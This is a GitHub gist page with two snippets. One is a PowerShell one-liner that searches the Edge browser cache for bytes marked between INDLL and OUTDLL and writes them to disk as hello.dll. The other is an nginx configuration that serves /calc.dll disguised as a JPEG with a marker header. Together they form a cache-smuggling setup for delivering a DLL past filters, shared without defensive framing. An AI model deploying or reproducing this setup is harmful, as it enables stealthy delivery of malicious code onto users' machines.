Skip to content

Instantly share code, notes, and snippets.

@justaguywhocodes
Last active October 22, 2025 13:58
Show Gist options
  • Save justaguywhocodes/f0ce4d5c29ebfb79b0462e2433f59532 to your computer and use it in GitHub Desktop.
Save justaguywhocodes/f0ce4d5c29ebfb79b0462e2433f59532 to your computer and use it in GitHub Desktop.
$d="$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Cache\Cache_Data"; gci $d -File | % { $f=$_.FullName; try { $b=[IO.File]::ReadAllBytes($f); $s=[Text.Encoding]::Default.GetString($b); if ($s -match '(?s)(?<=INDLL)(.*?)(?=OUTDLL)') { [IO.File]::WriteAllBytes("$d\hello.dll", [Text.Encoding]::Default.GetBytes($matches[1])) } } catch { } }
user www-data;
worker_processes auto;
worker_cpu_affinity auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
types_hash_max_size 2048;
server_tokens off; # Recommended practice is to turn this off
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1.2 TLSv1.3; # Dropping SSLv3 (POODLE), TLS 1.0, 1.1
ssl_prefer_server_ciphers off; # Don't force server cipher order.
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
# Default server block (moved inside http {})
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html index.nginx-debian.html;
server_name _;
# Adding the HTTP header TAG used to find the real DLL
location /calc.dll {
# override the mime type
types { } default_type image/jpeg;
add_header Tag DLLHERE;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment